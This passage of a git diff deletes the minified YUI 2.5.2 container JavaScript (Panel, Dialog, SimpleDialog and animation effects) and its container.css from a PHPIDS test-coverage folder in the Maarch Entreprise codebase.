U=0;U<Q;U++){P.removeListener(V[U],R,this._onElementFocus);}}},initEvents:function(){N.superclass.initEvents.call(this);var Q=O.LIST;this.showMaskEvent=this.createEvent(A.SHOW_MASK);this.showMaskEvent.signature=Q;this.hideMaskEvent=this.createEvent(A.HIDE_MASK);this.hideMaskEvent.signature=Q;this.dragEvent=this.createEvent(A.DRAG);this.dragEvent.signature=Q;},initDefaultConfig:function(){N.superclass.initDefaultConfig.call(this);this.cfg.addProperty(J.CLOSE.key,{handler:this.configClose,value:J.CLOSE.value,validator:J.CLOSE.validator,supercedes:J.CLOSE.supercedes});this.cfg.addProperty(J.DRAGGABLE.key,{handler:this.configDraggable,value:J.DRAGGABLE.value,validator:J.DRAGGABLE.validator,supercedes:J.DRAGGABLE.supercedes});this.cfg.addProperty(J.DRAG_ONLY.key,{value:J.DRAG_ONLY.value,validator:J.DRAG_ONLY.validator,supercedes:J.DRAG_ONLY.supercedes});this.cfg.addProperty(J.UNDERLAY.key,{handler:this.configUnderlay,value:J.UNDERLAY.value,supercedes:J.UNDERLAY.supercedes});this.cfg.addProperty(J.MODAL.key,{handler:this.configModal,value:J.MODAL.value,validator:J.MODAL.validator,supercedes:J.MODAL.supercedes});this.cfg.addProperty(J.KEY_LISTENERS.key,{handler:this.configKeyListeners,suppressEvent:J.KEY_LISTENERS.suppressEvent,supercedes:J.KEY_LISTENERS.supercedes});},configClose:function(S,Q,U){var V=Q[0],R=this.close;function T(X,W){W.hide();}if(V){if(!R){if(!D){D=document.createElement("span");D.innerHTML=" ";D.className="container-close";}R=D.cloneNode(true);this.innerElement.appendChild(R);P.on(R,"click",T,this);this.close=R;}else{R.style.display="block";}}else{if(R){R.style.display="none";}}},configDraggable:function(R,Q,S){var T=Q[0];if(T){if(!E){this.cfg.setProperty("draggable",false);return ;}if(this.header){F.setStyle(this.header,"cursor","move");this.registerDragDrop(); -}this.subscribe("beforeShow",G);}else{if(this.dd){this.dd.unreg();}if(this.header){F.setStyle(this.header,"cursor","auto");}this.unsubscribe("beforeShow",G);}},configUnderlay:function(b,a,V){var Z=YAHOO.env.ua,X=(this.platform=="mac"&&Z.gecko),Y=(Z.ie==6||(Z.ie==7&&document.compatMode=="BackCompat")),c=a[0].toLowerCase(),R=this.underlay,S=this.element;function d(){var e=this.underlay;F.addClass(e,"yui-force-redraw");window.setTimeout(function(){F.removeClass(e,"yui-force-redraw");},0);}function T(){var e=false;if(!R){if(!L){L=document.createElement("div");L.className="underlay";}R=L.cloneNode(false);this.element.appendChild(R);this.underlay=R;if(Y){this.sizeUnderlay();this.cfg.subscribeToConfigEvent("width",this.sizeUnderlay);this.cfg.subscribeToConfigEvent("height",this.sizeUnderlay);this.changeContentEvent.subscribe(this.sizeUnderlay);YAHOO.widget.Module.textResizeEvent.subscribe(this.sizeUnderlay,this,true);}if(Z.webkit&&Z.webkit<420){this.changeContentEvent.subscribe(d);}e=true;}}function W(){var e=T.call(this);if(!e&&Y){this.sizeUnderlay();}this._underlayDeferred=false;this.beforeShowEvent.unsubscribe(W);}function U(){if(this._underlayDeferred){this.beforeShowEvent.unsubscribe(W);this._underlayDeferred=false;}if(R){this.cfg.unsubscribeFromConfigEvent("width",this.sizeUnderlay);this.cfg.unsubscribeFromConfigEvent("height",this.sizeUnderlay);this.changeContentEvent.unsubscribe(this.sizeUnderlay);this.changeContentEvent.unsubscribe(d);YAHOO.widget.Module.textResizeEvent.unsubscribe(this.sizeUnderlay,this,true);this.element.removeChild(R);this.underlay=null;}}switch(c){case"shadow":F.removeClass(S,"matte");F.addClass(S,"shadow");break;case"matte":if(!X){U.call(this);}F.removeClass(S,"shadow");F.addClass(S,"matte");break;default:if(!X){U.call(this);}F.removeClass(S,"shadow");F.removeClass(S,"matte");break;}if((c=="shadow")||(X&&!R)){if(this.cfg.getProperty("visible")){var Q=T.call(this);if(!Q&&Y){this.sizeUnderlay();}}else{if(!this._underlayDeferred){this.beforeShowEvent.subscribe(W);this._underlayDeferred=true;}}}},configModal:function(R,Q,T){var S=Q[0];if(S){if(!this._hasModalityEventListeners){this.subscribe("beforeShow",this.buildMask);this.subscribe("beforeShow",this.bringToTop);this.subscribe("beforeShow",this.showMask);this.subscribe("hide",this.hideMask);B.windowResizeEvent.subscribe(this.sizeMask,this,true);this._hasModalityEventListeners=true;}}else{if(this._hasModalityEventListeners){if(this.cfg.getProperty("visible")){this.hideMask();this.removeMask();}this.unsubscribe("beforeShow",this.buildMask);this.unsubscribe("beforeShow",this.bringToTop);this.unsubscribe("beforeShow",this.showMask);this.unsubscribe("hide",this.hideMask);B.windowResizeEvent.unsubscribe(this.sizeMask,this);this._hasModalityEventListeners=false;}}},removeMask:function(){var R=this.mask,Q;if(R){this.hideMask();Q=R.parentNode;if(Q){Q.removeChild(R);}this.mask=null;}},configKeyListeners:function(T,Q,W){var S=Q[0],V,U,R;if(S){if(S instanceof Array){U=S.length;for(R=0;R<U;R++){V=S[R];if(!C.alreadySubscribed(this.showEvent,V.enable,V)){this.showEvent.subscribe(V.enable,V,true);}if(!C.alreadySubscribed(this.hideEvent,V.disable,V)){this.hideEvent.subscribe(V.disable,V,true);this.destroyEvent.subscribe(V.disable,V,true);}}}else{if(!C.alreadySubscribed(this.showEvent,S.enable,S)){this.showEvent.subscribe(S.enable,S,true);}if(!C.alreadySubscribed(this.hideEvent,S.disable,S)){this.hideEvent.subscribe(S.disable,S,true);this.destroyEvent.subscribe(S.disable,S,true);}}}},configHeight:function(T,R,U){var Q=R[0],S=this.innerElement;F.setStyle(S,"height",Q);this.cfg.refireEvent("iframe");},configWidth:function(T,Q,U){var S=Q[0],R=this.innerElement;F.setStyle(R,"width",S);this.cfg.refireEvent("iframe");},configzIndex:function(R,Q,T){N.superclass.configzIndex.call(this,R,Q,T);if(this.mask||this.cfg.getProperty("modal")===true){var S=F.getStyle(this.element,"zIndex");if(!S||isNaN(S)){S=0;}if(S===0){this.cfg.setProperty("zIndex",1);}else{this.stackMask();}}},buildWrapper:function(){var S=this.element.parentNode,Q=this.element,R=document.createElement("div");R.className=N.CSS_PANEL_CONTAINER;R.id=Q.id+"_c";if(S){S.insertBefore(R,Q);}R.appendChild(Q);this.element=R;this.innerElement=Q;F.setStyle(this.innerElement,"visibility","inherit");},sizeUnderlay:function(){var R=this.underlay,Q;if(R){Q=this.element;R.style.width=Q.offsetWidth+"px";R.style.height=Q.offsetHeight+"px";}},registerDragDrop:function(){var R=this;if(this.header){if(!E){return ;}var Q=(this.cfg.getProperty("dragonly")===true);this.dd=new E(this.element.id,this.id,{dragOnly:Q});if(!this.header.id){this.header.id=this.id+"_h";}this.dd.startDrag=function(){var T,V,S,Y,X,W;if(YAHOO.env.ua.ie==6){F.addClass(R.element,"drag");}if(R.cfg.getProperty("constraintoviewport")){var U=B.VIEWPORT_OFFSET;T=R.element.offsetHeight;V=R.element.offsetWidth;S=F.getViewportWidth();Y=F.getViewportHeight();X=F.getDocumentScrollLeft();W=F.getDocumentScrollTop();if(T+U<Y){this.minY=W+U;this.maxY=W+Y-T-U;}else{this.minY=W+U;this.maxY=W+U;}if(V+U<S){this.minX=X+U;this.maxX=X+S-V-U;}else{this.minX=X+U;this.maxX=X+U;}this.constrainX=true;this.constrainY=true;}else{this.constrainX=false;this.constrainY=false;}R.dragEvent.fire("startDrag",arguments);};this.dd.onDrag=function(){R.syncPosition();R.cfg.refireEvent("iframe");if(this.platform=="mac"&&YAHOO.env.ua.gecko){this.showMacGeckoScrollbars();}R.dragEvent.fire("onDrag",arguments);};this.dd.endDrag=function(){if(YAHOO.env.ua.ie==6){F.removeClass(R.element,"drag");}R.dragEvent.fire("endDrag",arguments);R.moveEvent.fire(R.cfg.getProperty("xy"));};this.dd.setHandleElId(this.header.id);this.dd.addInvalidHandleType("INPUT");this.dd.addInvalidHandleType("SELECT");this.dd.addInvalidHandleType("TEXTAREA");}},buildMask:function(){var Q=this.mask;if(!Q){if(!H){H=document.createElement("div");H.className="mask";H.innerHTML=" ";}Q=H.cloneNode(true);Q.id=this.id+"_mask";document.body.insertBefore(Q,document.body.firstChild);this.mask=Q;if(YAHOO.env.ua.gecko&&this.platform=="mac"){F.addClass(this.mask,"block-scrollbars"); -}this.stackMask();}},hideMask:function(){if(this.cfg.getProperty("modal")&&this.mask){this.mask.style.display="none";this.hideMaskEvent.fire();F.removeClass(document.body,"masked");}},showMask:function(){if(this.cfg.getProperty("modal")&&this.mask){F.addClass(document.body,"masked");this.sizeMask();this.mask.style.display="block";this.showMaskEvent.fire();}},sizeMask:function(){if(this.mask){this.mask.style.height=F.getDocumentHeight()+"px";this.mask.style.width=F.getDocumentWidth()+"px";}},stackMask:function(){if(this.mask){var Q=F.getStyle(this.element,"zIndex");if(!YAHOO.lang.isUndefined(Q)&&!isNaN(Q)){F.setStyle(this.mask,"zIndex",Q-1);}}},render:function(Q){return N.superclass.render.call(this,Q,this.innerElement);},destroy:function(){B.windowResizeEvent.unsubscribe(this.sizeMask,this);this.removeMask();if(this.close){P.purgeElement(this.close);}N.superclass.destroy.call(this);},toString:function(){return"Panel "+this.id;}});}());(function(){YAHOO.widget.Dialog=function(L,K){YAHOO.widget.Dialog.superclass.constructor.call(this,L,K);};var J=YAHOO.util.Event,I=YAHOO.util.CustomEvent,D=YAHOO.util.Dom,B=YAHOO.util.KeyListener,H=YAHOO.util.Connect,F=YAHOO.widget.Dialog,E=YAHOO.lang,A={"BEFORE_SUBMIT":"beforeSubmit","SUBMIT":"submit","MANUAL_SUBMIT":"manualSubmit","ASYNC_SUBMIT":"asyncSubmit","FORM_SUBMIT":"formSubmit","CANCEL":"cancel"},G={"POST_METHOD":{key:"postmethod",value:"async"},"BUTTONS":{key:"buttons",value:"none"},"HIDEAFTERSUBMIT":{key:"hideaftersubmit",value:true}};F.CSS_DIALOG="yui-dialog";function C(){var N=this._aButtons,L,M,K;if(E.isArray(N)){L=N.length;if(L>0){K=L-1;do{M=N[K];if(YAHOO.widget.Button&&M instanceof YAHOO.widget.Button){M.destroy();}else{if(M.tagName.toUpperCase()=="BUTTON"){J.purgeElement(M);J.purgeElement(M,false);}}}while(K--);}}}YAHOO.extend(F,YAHOO.widget.Panel,{form:null,initDefaultConfig:function(){F.superclass.initDefaultConfig.call(this);this.callback={success:null,failure:null,argument:null};this.cfg.addProperty(G.POST_METHOD.key,{handler:this.configPostMethod,value:G.POST_METHOD.value,validator:function(K){if(K!="form"&&K!="async"&&K!="none"&&K!="manual"){return false;}else{return true;}}});this.cfg.addProperty(G.HIDEAFTERSUBMIT.key,{value:G.HIDEAFTERSUBMIT.value});this.cfg.addProperty(G.BUTTONS.key,{handler:this.configButtons,value:G.BUTTONS.value});},initEvents:function(){F.superclass.initEvents.call(this);var K=I.LIST;this.beforeSubmitEvent=this.createEvent(A.BEFORE_SUBMIT);this.beforeSubmitEvent.signature=K;this.submitEvent=this.createEvent(A.SUBMIT);this.submitEvent.signature=K;this.manualSubmitEvent=this.createEvent(A.MANUAL_SUBMIT);this.manualSubmitEvent.signature=K;this.asyncSubmitEvent=this.createEvent(A.ASYNC_SUBMIT);this.asyncSubmitEvent.signature=K;this.formSubmitEvent=this.createEvent(A.FORM_SUBMIT);this.formSubmitEvent.signature=K;this.cancelEvent=this.createEvent(A.CANCEL);this.cancelEvent.signature=K;},init:function(L,K){F.superclass.init.call(this,L);this.beforeInitEvent.fire(F);D.addClass(this.element,F.CSS_DIALOG);this.cfg.setProperty("visible",false);if(K){this.cfg.applyConfig(K,true);}this.showEvent.subscribe(this.focusFirst,this,true);this.beforeHideEvent.subscribe(this.blurButtons,this,true);this.subscribe("changeBody",this.registerForm);this.initEvent.fire(F);},doSubmit:function(){var Q=this.form,O=false,N=false,P,K,M,L;switch(this.cfg.getProperty("postmethod")){case"async":P=Q.elements;K=P.length;if(K>0){M=K-1;do{if(P[M].type=="file"){O=true;break;}}while(M--);}if(O&&YAHOO.env.ua.ie&&this.isSecure){N=true;}L=(Q.getAttribute("method")||"POST").toUpperCase();H.setForm(Q,O,N);H.asyncRequest(L,Q.getAttribute("action"),this.callback);this.asyncSubmitEvent.fire();break;case"form":Q.submit();this.formSubmitEvent.fire();break;case"none":case"manual":this.manualSubmitEvent.fire();break;}},registerForm:function(){var M=this.element.getElementsByTagName("form")[0],L=this,K,N;if(this.form){if(this.form==M&&D.isAncestor(this.element,this.form)){return ;}else{J.purgeElement(this.form);this.form=null;}}if(!M){M=document.createElement("form");M.name="frm_"+this.id;this.body.appendChild(M);}if(M){this.form=M;J.on(M,"submit",function(O){J.stopEvent(O);this.submit();this.form.blur();},this,true);this.firstFormElement=function(){var Q,P,O=M.elements.length;for(Q=0;Q<O;Q++){P=M.elements[Q];if(P.focus&&!P.disabled&&P.type!="hidden"){return P;}}return null;}();this.lastFormElement=function(){var Q,P,O=M.elements.length;for(Q=O-1;Q>=0;Q--){P=M.elements[Q];if(P.focus&&!P.disabled&&P.type!="hidden"){return P;}}return null;}();if(this.cfg.getProperty("modal")){K=this.firstFormElement||this.firstButton;if(K){this.preventBackTab=new B(K,{shift:true,keys:9},{fn:L.focusLast,scope:L,correctScope:true});this.showEvent.subscribe(this.preventBackTab.enable,this.preventBackTab,true);this.hideEvent.subscribe(this.preventBackTab.disable,this.preventBackTab,true);}N=this.lastButton||this.lastFormElement;if(N){this.preventTabOut=new B(N,{shift:false,keys:9},{fn:L.focusFirst,scope:L,correctScope:true});this.showEvent.subscribe(this.preventTabOut.enable,this.preventTabOut,true);this.hideEvent.subscribe(this.preventTabOut.disable,this.preventTabOut,true);}}}},configClose:function(M,K,N){var O=K[0];function L(Q,P){P.cancel();}if(O){if(!this.close){this.close=document.createElement("div");D.addClass(this.close,"container-close");this.close.innerHTML=" ";this.innerElement.appendChild(this.close);J.on(this.close,"click",L,this);}else{this.close.style.display="block";}}else{if(this.close){this.close.style.display="none";}}},configButtons:function(U,T,O){var P=YAHOO.widget.Button,W=T[0],M=this.innerElement,V,R,L,S,Q,K,N;C.call(this);this._aButtons=null;if(E.isArray(W)){Q=document.createElement("span");Q.className="button-group";S=W.length;this._aButtons=[];for(N=0;N<S;N++){V=W[N];if(P){L=new P({label:V.text,container:Q});R=L.get("element");if(V.isDefault){L.addClass("default");this.defaultHtmlButton=R;}if(E.isFunction(V.handler)){L.set("onclick",{fn:V.handler,obj:this,scope:this}); -}else{if(E.isObject(V.handler)&&E.isFunction(V.handler.fn)){L.set("onclick",{fn:V.handler.fn,obj:((!E.isUndefined(V.handler.obj))?V.handler.obj:this),scope:(V.handler.scope||this)});}}this._aButtons[this._aButtons.length]=L;}else{R=document.createElement("button");R.setAttribute("type","button");if(V.isDefault){R.className="default";this.defaultHtmlButton=R;}R.innerHTML=V.text;if(E.isFunction(V.handler)){J.on(R,"click",V.handler,this,true);}else{if(E.isObject(V.handler)&&E.isFunction(V.handler.fn)){J.on(R,"click",V.handler.fn,((!E.isUndefined(V.handler.obj))?V.handler.obj:this),(V.handler.scope||this));}}Q.appendChild(R);this._aButtons[this._aButtons.length]=R;}V.htmlButton=R;if(N===0){this.firstButton=R;}if(N==(S-1)){this.lastButton=R;}}this.setFooter(Q);K=this.footer;if(D.inDocument(this.element)&&!D.isAncestor(M,K)){M.appendChild(K);}this.buttonSpan=Q;}else{Q=this.buttonSpan;K=this.footer;if(Q&&K){K.removeChild(Q);this.buttonSpan=null;this.firstButton=null;this.lastButton=null;this.defaultHtmlButton=null;}}this.cfg.refireEvent("iframe");this.cfg.refireEvent("underlay");},getButtons:function(){var K=this._aButtons;if(K){return K;}},focusFirst:function(N,L,P){var M=this.firstFormElement,K;if(L){K=L[1];if(K){J.stopEvent(K);}}if(M){try{M.focus();}catch(O){}}else{this.focusDefaultButton();}},focusLast:function(N,L,P){var Q=this.cfg.getProperty("buttons"),M=this.lastFormElement,K;if(L){K=L[1];if(K){J.stopEvent(K);}}if(Q&&E.isArray(Q)){this.focusLastButton();}else{if(M){try{M.focus();}catch(O){}}}},focusDefaultButton:function(){var K=this.defaultHtmlButton;if(K){try{K.focus();}catch(L){}}},blurButtons:function(){var P=this.cfg.getProperty("buttons"),M,O,L,K;if(P&&E.isArray(P)){M=P.length;if(M>0){K=(M-1);do{O=P[K];if(O){L=O.htmlButton;if(L){try{L.blur();}catch(N){}}}}while(K--);}}},focusFirstButton:function(){var N=this.cfg.getProperty("buttons"),M,K;if(N&&E.isArray(N)){M=N[0];if(M){K=M.htmlButton;if(K){try{K.focus();}catch(L){}}}}},focusLastButton:function(){var O=this.cfg.getProperty("buttons"),L,N,K;if(O&&E.isArray(O)){L=O.length;if(L>0){N=O[(L-1)];if(N){K=N.htmlButton;if(K){try{K.focus();}catch(M){}}}}}},configPostMethod:function(L,K,M){this.registerForm();},validate:function(){return true;},submit:function(){if(this.validate()){this.beforeSubmitEvent.fire();this.doSubmit();this.submitEvent.fire();if(this.cfg.getProperty("hideaftersubmit")){this.hide();}return true;}else{return false;}},cancel:function(){this.cancelEvent.fire();this.hide();},getData:function(){var a=this.form,M,T,W,O,U,R,Q,L,X,N,Y,b,K,P,c,Z,V;function S(e){var d=e.tagName.toUpperCase();return((d=="INPUT"||d=="TEXTAREA"||d=="SELECT")&&e.name==O);}if(a){M=a.elements;T=M.length;W={};for(Z=0;Z<T;Z++){O=M[Z].name;U=D.getElementsBy(S,"*",a);R=U.length;if(R>0){if(R==1){U=U[0];Q=U.type;L=U.tagName.toUpperCase();switch(L){case"INPUT":if(Q=="checkbox"){W[O]=U.checked;}else{if(Q!="radio"){W[O]=U.value;}}break;case"TEXTAREA":W[O]=U.value;break;case"SELECT":X=U.options;N=X.length;Y=[];for(V=0;V<N;V++){b=X[V];if(b.selected){K=b.value;if(!K||K===""){K=b.text;}Y[Y.length]=K;}}W[O]=Y;break;}}else{Q=U[0].type;switch(Q){case"radio":for(V=0;V<R;V++){P=U[V];if(P.checked){W[O]=P.value;break;}}break;case"checkbox":Y=[];for(V=0;V<R;V++){c=U[V];if(c.checked){Y[Y.length]=c.value;}}W[O]=Y;break;}}}}}return W;},destroy:function(){C.call(this);this._aButtons=null;var K=this.element.getElementsByTagName("form"),L;if(K.length>0){L=K[0];if(L){J.purgeElement(L);if(L.parentNode){L.parentNode.removeChild(L);}this.form=null;}}F.superclass.destroy.call(this);},toString:function(){return"Dialog "+this.id;}});}());(function(){YAHOO.widget.SimpleDialog=function(E,D){YAHOO.widget.SimpleDialog.superclass.constructor.call(this,E,D);};var C=YAHOO.util.Dom,B=YAHOO.widget.SimpleDialog,A={"ICON":{key:"icon",value:"none",suppressEvent:true},"TEXT":{key:"text",value:"",suppressEvent:true,supercedes:["icon"]}};B.ICON_BLOCK="blckicon";B.ICON_ALARM="alrticon";B.ICON_HELP="hlpicon";B.ICON_INFO="infoicon";B.ICON_WARN="warnicon";B.ICON_TIP="tipicon";B.ICON_CSS_CLASSNAME="yui-icon";B.CSS_SIMPLEDIALOG="yui-simple-dialog";YAHOO.extend(B,YAHOO.widget.Dialog,{initDefaultConfig:function(){B.superclass.initDefaultConfig.call(this);this.cfg.addProperty(A.ICON.key,{handler:this.configIcon,value:A.ICON.value,suppressEvent:A.ICON.suppressEvent});this.cfg.addProperty(A.TEXT.key,{handler:this.configText,value:A.TEXT.value,suppressEvent:A.TEXT.suppressEvent,supercedes:A.TEXT.supercedes});},init:function(E,D){B.superclass.init.call(this,E);this.beforeInitEvent.fire(B);C.addClass(this.element,B.CSS_SIMPLEDIALOG);this.cfg.queueProperty("postmethod","manual");if(D){this.cfg.applyConfig(D,true);}this.beforeRenderEvent.subscribe(function(){if(!this.body){this.setBody("");}},this,true);this.initEvent.fire(B);},registerForm:function(){B.superclass.registerForm.call(this);this.form.innerHTML+='<input type="hidden" name="'+this.id+'" value=""/>';},configIcon:function(F,E,J){var K=E[0],D=this.body,I=B.ICON_CSS_CLASSNAME,H,G;if(K&&K!="none"){H=C.getElementsByClassName(I,"*",D);if(H){G=H.parentNode;if(G){G.removeChild(H);H=null;}}if(K.indexOf(".")==-1){H=document.createElement("span");H.className=(I+" "+K);H.innerHTML=" ";}else{H=document.createElement("img");H.src=(this.imageRoot+K);H.className=I;}if(H){D.insertBefore(H,D.firstChild);}}},configText:function(E,D,F){var G=D[0];if(G){this.setBody(G);this.cfg.refireEvent("icon");}},toString:function(){return"SimpleDialog "+this.id;}});}());(function(){YAHOO.widget.ContainerEffect=function(F,I,H,E,G){if(!G){G=YAHOO.util.Anim;}this.overlay=F;this.attrIn=I;this.attrOut=H;this.targetElement=E||F.element;this.animClass=G;};var B=YAHOO.util.Dom,D=YAHOO.util.CustomEvent,C=YAHOO.util.Easing,A=YAHOO.widget.ContainerEffect;A.FADE=function(E,G){var I={attributes:{opacity:{from:0,to:1}},duration:G,method:C.easeIn};var F={attributes:{opacity:{to:0}},duration:G,method:C.easeOut};var H=new A(E,I,F,E.element);H.handleUnderlayStart=function(){var K=this.overlay.underlay; -if(K&&YAHOO.env.ua.ie){var J=(K.filters&&K.filters.length>0);if(J){B.addClass(E.element,"yui-effect-fade");}}};H.handleUnderlayComplete=function(){var J=this.overlay.underlay;if(J&&YAHOO.env.ua.ie){B.removeClass(E.element,"yui-effect-fade");}};H.handleStartAnimateIn=function(K,J,L){B.addClass(L.overlay.element,"hide-select");if(!L.overlay.underlay){L.overlay.cfg.refireEvent("underlay");}L.handleUnderlayStart();B.setStyle(L.overlay.element,"visibility","visible");B.setStyle(L.overlay.element,"opacity",0);};H.handleCompleteAnimateIn=function(K,J,L){B.removeClass(L.overlay.element,"hide-select");if(L.overlay.element.style.filter){L.overlay.element.style.filter=null;}L.handleUnderlayComplete();L.overlay.cfg.refireEvent("iframe");L.animateInCompleteEvent.fire();};H.handleStartAnimateOut=function(K,J,L){B.addClass(L.overlay.element,"hide-select");L.handleUnderlayStart();};H.handleCompleteAnimateOut=function(K,J,L){B.removeClass(L.overlay.element,"hide-select");if(L.overlay.element.style.filter){L.overlay.element.style.filter=null;}B.setStyle(L.overlay.element,"visibility","hidden");B.setStyle(L.overlay.element,"opacity",1);L.handleUnderlayComplete();L.overlay.cfg.refireEvent("iframe");L.animateOutCompleteEvent.fire();};H.init();return H;};A.SLIDE=function(G,I){var F=G.cfg.getProperty("x")||B.getX(G.element),K=G.cfg.getProperty("y")||B.getY(G.element),J=B.getClientWidth(),H=G.element.offsetWidth,E=new A(G,{attributes:{points:{to:[F,K]}},duration:I,method:C.easeIn},{attributes:{points:{to:[(J+25),K]}},duration:I,method:C.easeOut},G.element,YAHOO.util.Motion);E.handleStartAnimateIn=function(M,L,N){N.overlay.element.style.left=((-25)-H)+"px";N.overlay.element.style.top=K+"px";};E.handleTweenAnimateIn=function(O,N,P){var Q=B.getXY(P.overlay.element),M=Q[0],L=Q[1];if(B.getStyle(P.overlay.element,"visibility")=="hidden"&&M<F){B.setStyle(P.overlay.element,"visibility","visible");}P.overlay.cfg.setProperty("xy",[M,L],true);P.overlay.cfg.refireEvent("iframe");};E.handleCompleteAnimateIn=function(M,L,N){N.overlay.cfg.setProperty("xy",[F,K],true);N.startX=F;N.startY=K;N.overlay.cfg.refireEvent("iframe");N.animateInCompleteEvent.fire();};E.handleStartAnimateOut=function(M,L,P){var N=B.getViewportWidth(),Q=B.getXY(P.overlay.element),O=Q[1];P.animOut.attributes.points.to=[(N+25),O];};E.handleTweenAnimateOut=function(N,M,O){var Q=B.getXY(O.overlay.element),L=Q[0],P=Q[1];O.overlay.cfg.setProperty("xy",[L,P],true);O.overlay.cfg.refireEvent("iframe");};E.handleCompleteAnimateOut=function(M,L,N){B.setStyle(N.overlay.element,"visibility","hidden");N.overlay.cfg.setProperty("xy",[F,K]);N.animateOutCompleteEvent.fire();};E.init();return E;};A.prototype={init:function(){this.beforeAnimateInEvent=this.createEvent("beforeAnimateIn");this.beforeAnimateInEvent.signature=D.LIST;this.beforeAnimateOutEvent=this.createEvent("beforeAnimateOut");this.beforeAnimateOutEvent.signature=D.LIST;this.animateInCompleteEvent=this.createEvent("animateInComplete");this.animateInCompleteEvent.signature=D.LIST;this.animateOutCompleteEvent=this.createEvent("animateOutComplete");this.animateOutCompleteEvent.signature=D.LIST;this.animIn=new this.animClass(this.targetElement,this.attrIn.attributes,this.attrIn.duration,this.attrIn.method);this.animIn.onStart.subscribe(this.handleStartAnimateIn,this);this.animIn.onTween.subscribe(this.handleTweenAnimateIn,this);this.animIn.onComplete.subscribe(this.handleCompleteAnimateIn,this);this.animOut=new this.animClass(this.targetElement,this.attrOut.attributes,this.attrOut.duration,this.attrOut.method);this.animOut.onStart.subscribe(this.handleStartAnimateOut,this);this.animOut.onTween.subscribe(this.handleTweenAnimateOut,this);this.animOut.onComplete.subscribe(this.handleCompleteAnimateOut,this);},animateIn:function(){this.beforeAnimateInEvent.fire();this.animIn.animate();},animateOut:function(){this.beforeAnimateOutEvent.fire();this.animOut.animate();},handleStartAnimateIn:function(F,E,G){},handleTweenAnimateIn:function(F,E,G){},handleCompleteAnimateIn:function(F,E,G){},handleStartAnimateOut:function(F,E,G){},handleTweenAnimateOut:function(F,E,G){},handleCompleteAnimateOut:function(F,E,G){},toString:function(){var E="ContainerEffect";if(this.overlay){E+=" ["+this.overlay.toString()+"]";}return E;}};YAHOO.lang.augmentProto(A,YAHOO.util.EventProvider);})();YAHOO.register("container",YAHOO.widget.Module,{version:"2.5.2",build:"1076"}); \ No newline at end of file diff --git a/apps/maarch_entreprise/tools/phpids/tests/coverage/container.css b/apps/maarch_entreprise/tools/phpids/tests/coverage/container.css deleted file mode 100755 index 580dd87ce89e3a8b0a8410ec54ed3d5c1ec06573..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/container.css +++ /dev/null @@ -1,318 +0,0 @@ -/* -Copyright (c) 2008, Yahoo! Inc. All rights reserved. -Code licensed under the BSD License: -http://developer.yahoo.net/yui/license.txt -version: 2.5.2 -*/ -.yui-overlay, -.yui-panel-container { - visibility:hidden; - position:absolute; - z-index: 2; -} - -.yui-tt { - visibility:hidden; - position:absolute; - color:#333; - background-color:#FDFFB4; - font-family:arial,helvetica,verdana,sans-serif; - padding:2px; - border:1px solid #FCC90D; - font:100% sans-serif; - width:auto; -} - -/* - PLEASE NOTE: The <DIV> element used for a Tooltip's shadow is appended - to its root element via JavaScript once it has been rendered. The - code that creates the shadow lives in the Tooltip's public "onRender" - event handler that is a prototype method of YAHOO.widget.Tooltip. - Implementers wishing to remove a Tooltip's shadow or add any other markup - required for a given skin for Tooltip should override the "onRender" method. -*/ - -.yui-tt-shadow { - display: none; -} - -* html body.masked select { - visibility:hidden; -} - -* html div.yui-panel-container select { - visibility:inherit; -} - -* html div.drag select { - visibility:hidden; -} - -* html div.hide-select select { - visibility:hidden; -} - -.mask { - z-index: 1; - display:none; - position:absolute; - top:0; - left:0; - -moz-opacity: 0.5; - opacity:.50; - filter: alpha(opacity=50); - background-color:#CCC; -} - -/* - -There are two known issues with YAHOO.widget.Overlay (and its subclasses) that -manifest in Gecko-based browsers on Mac OS X: - - 1) Elements with scrollbars will poke through Overlay instances floating - above them. - - 2) An Overlay's scrollbars and the scrollbars of its child nodes remain - visible when the Overlay is hidden. - -To fix these bugs: - - 1) The "overflow" property of an Overlay instance's root element and child - nodes is toggled between "hidden" and "auto" (through the application - and removal of the "hide-scrollbars" and "show-scrollbars" CSS classes) - as its "visibility" configuration property is toggled between - "false" and "true." - - 2) The "display" property of <SELECT> elements that are child nodes of the - Overlay instance's root element is set to "none" when it is hidden. - -PLEASE NOTE: - - 1) The "hide-scrollbars" and "show-scrollbars" CSS classes classes are - applied only for Gecko on Mac OS X and are added/removed to/from the - Overlay's root HTML element (DIV) via the "hideMacGeckoScrollbars" and - "showMacGeckoScrollbars" methods of YAHOO.widget.Overlay. - - 2) There may be instances where the CSS for a web page or application - contains style rules whose specificity override the rules implemented by - the Container CSS files to fix this bug. In such cases, is necessary to - leverage the provided "hide-scrollbars" and "show-scrollbars" classes to - write custom style rules to guard against this bug. - -** For more information on this issue, see: - - + https://bugzilla.mozilla.org/show_bug.cgi?id=187435 - + SourceForge bug #1723530 - -*/ - -.hide-scrollbars, -.hide-scrollbars * { - - overflow: hidden; - -} - -.hide-scrollbars select { - - display: none; - -} - -.show-scrollbars { - - overflow: auto; - -} - -.yui-panel-container.show-scrollbars { - - overflow: visible; - -} - -.yui-panel-container.show-scrollbars .underlay { - - overflow: auto; - -} - -.yui-panel-container.focused { - -} - - -/* Panel underlay styles */ - -.yui-panel-container .underlay { - - position: absolute; - top: 0; - right: 0; - bottom: 0; - left: 0; - -} - -.yui-panel-container.matte { - - padding: 3px; - background-color: #fff; - -} - -.yui-panel-container.shadow .underlay { - - top: 3px; - bottom: -3px; - right: -3px; - left: 3px; - background-color: #000; - opacity: .12; - filter: alpha(opacity=12); /* For IE */ - -} - -/* - Workaround for Safari 2.x - the yui-force-redraw class is applied, and then removed when - the Panel's content changes, to force Safari 2.x to redraw the underlay. - We attempt to choose a CSS property which has no visual impact when added, - removed, but still causes Safari to redraw -*/ -.yui-panel-container.shadow .underlay.yui-force-redraw { - padding-bottom: 1px; -} - -.yui-effect-fade .underlay { - display:none; -} - -.yui-panel { - visibility:hidden; - border-collapse:separate; - position:relative; - left:0; - top:0; - font:1em Arial; - background-color:#FFF; - border:1px solid #000; - z-index:1; - overflow:hidden; -} - -.yui-panel .hd { - background-color:#3d77cb; - color:#FFF; - font-size:100%; - line-height:100%; - border:1px solid #FFF; - border-bottom:1px solid #000; - font-weight:bold; - padding:4px; - white-space:nowrap; -} - -.yui-panel .bd { - overflow:hidden; - padding:4px; -} - -.yui-panel .bd p { - margin:0 0 1em; -} - -.yui-panel .container-close { - position:absolute; - top:5px; - right:4px; - z-index:6; - height:12px; - width:12px; - margin:0px; - padding:0px; - 